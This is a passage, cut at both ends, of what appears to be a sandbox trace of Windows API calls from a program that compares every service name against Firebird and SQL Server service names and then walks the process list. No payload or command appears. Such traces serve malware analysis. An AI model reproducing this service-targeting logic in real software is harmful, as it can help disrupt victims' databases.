lpString2="LanmanServer") returned 1 [0284.107] lstrlenW (lpString="LanmanWorkstation") returned 17 [0284.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0284.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0284.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0284.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0284.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0284.107] lstrlenW (lpString="lfsvc") returned 5 [0284.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0284.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0284.107] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0284.107] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0284.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0284.107] lstrlenW (lpString="lmhosts") returned 7 [0284.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0284.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0284.107] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0284.107] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0284.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0284.107] lstrlenW (lpString="LSM") returned 3 [0284.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0284.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0284.107] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0284.107] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0284.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0284.108] lstrlenW (lpString="MpsSvc") returned 6 [0284.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0284.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0284.108] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0284.108] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0284.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0284.108] lstrlenW (lpString="NcbService") returned 10 [0284.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0284.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0284.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0284.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0284.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0284.108] lstrlenW (lpString="netprofm") returned 8 [0284.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0284.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0284.108] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0284.108] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0284.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0284.108] lstrlenW (lpString="NgcSvc") returned 6 [0284.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0284.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0284.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0284.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0284.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0284.108] lstrlenW (lpString="NlaSvc") returned 6 [0284.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0284.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0284.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0284.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0284.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0284.108] lstrlenW (lpString="nsi") returned 3 [0284.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0284.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0284.109] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0284.109] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0284.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0284.109] lstrlenW (lpString="PcaSvc") returned 6 [0284.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0284.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0284.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0284.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0284.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0284.109] lstrlenW (lpString="PlugPlay") returned 8 [0284.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0284.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0284.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0284.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0284.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0284.109] lstrlenW (lpString="Power") returned 5 [0284.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0284.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0284.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0284.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0284.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0284.109] lstrlenW (lpString="ProfSvc") returned 7 [0284.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0284.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0284.109] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0284.109] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0284.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0284.109] lstrlenW (lpString="RpcEptMapper") returned 12 [0284.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0284.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0284.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0284.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0284.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0284.110] lstrlenW (lpString="RpcSs") returned 5 [0284.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0284.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0284.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0284.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0284.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0284.110] lstrlenW (lpString="SamSs") returned 5 [0284.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0284.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0284.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0284.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0284.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0284.110] lstrlenW (lpString="Schedule") returned 8 [0284.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0284.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0284.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0284.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0284.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0284.110] lstrlenW (lpString="SecurityHealthService") returned 21 [0284.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0284.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0284.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0284.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0284.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0284.110] lstrlenW (lpString="SENS") returned 4 [0284.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0284.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0284.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0284.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0284.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0284.159] lstrlenW (lpString="ShellHWDetection") returned 16 [0284.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0284.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0284.159] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0284.159] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0284.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0284.159] lstrlenW (lpString="Spooler") returned 7 [0284.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0284.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0284.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0284.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0284.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0284.159] lstrlenW (lpString="SSDPSRV") returned 7 [0284.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0284.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0284.159] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0284.159] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0284.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0284.159] lstrlenW (lpString="StateRepository") returned 15 [0284.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0284.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0284.159] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0284.159] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0284.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0284.159] lstrlenW (lpString="SysMain") returned 7 [0284.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0284.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0284.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0284.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0284.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0284.160] lstrlenW (lpString="SystemEventsBroker") returned 18 [0284.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0284.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0284.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0284.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0284.160] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3240080 | out: hHeap=0x630000) returned 1 [0284.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c0 [0284.165] Process32FirstW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.166] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0284.167] lstrlenW (lpString="System") returned 6 [0284.167] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0284.168] lstrlenW (lpString="smss.exe") returned 8 [0284.168] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.169] lstrlenW (lpString="csrss.exe") returned 9 [0284.169] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0284.170] lstrlenW (lpString="wininit.exe") returned 11 [0284.170] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0284.171] lstrlenW (lpString="csrss.exe") returned 9 [0284.171] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0284.172] lstrlenW (lpString="winlogon.exe") returned 12 [0284.172] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0284.173] lstrlenW (lpString="services.exe") returned 12 [0284.173] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0284.174] lstrlenW (lpString="lsass.exe") returned 9 [0284.174] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0284.175] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0284.175] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0284.176] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0284.176] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.177] lstrlenW (lpString="svchost.exe") returned 11 [0284.177] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.178] lstrlenW (lpString="svchost.exe") returned 11 [0284.178] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0284.179] lstrlenW (lpString="dwm.exe") returned 7 [0284.179] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.179] lstrlenW (lpString="svchost.exe") returned 11 [0284.179] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.180] lstrlenW (lpString="svchost.exe") returned 11 [0284.180] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.181] lstrlenW (lpString="svchost.exe") returned 11 [0284.181] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.182] lstrlenW (lpString="svchost.exe") returned 11 [0284.182] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.183] lstrlenW (lpString="svchost.exe") returned 11 [0284.183] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.183] lstrlenW (lpString="svchost.exe") returned 11 [0284.183] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.184] lstrlenW (lpString="svchost.exe") returned 11 [0284.184] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.185] lstrlenW (lpString="svchost.exe") returned 11 [0284.185] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.186] lstrlenW (lpString="svchost.exe") returned 11 [0284.186] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.186] lstrlenW (lpString="svchost.exe") returned 11 [0284.186] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0284.187] lstrlenW (lpString="spoolsv.exe") returned 11 [0284.187] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.188] lstrlenW (lpString="svchost.exe") returned 11 [0284.188] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0284.188] lstrlenW (lpString="audiodg.exe") returned 11 [0284.188] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0284.189] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0284.189] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0284.190] lstrlenW (lpString="Memory Compression") returned 18 [0284.190] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0284.191] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0284.191] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0284.191] lstrlenW (lpString="sihost.exe") returned 10 [0284.191] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.192] lstrlenW (lpString="svchost.exe") returned 11 [0284.192] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0284.193] lstrlenW (lpString="taskhostw.exe") returned 13 [0284.193] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0284.193] lstrlenW (lpString="msoia.exe") returned 9 [0284.194] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0284.194] lstrlenW (lpString="explorer.exe") returned 12 [0284.194] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0284.195] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0284.195] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0284.196] lstrlenW (lpString="SearchUI.exe") returned 12 [0284.196] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, 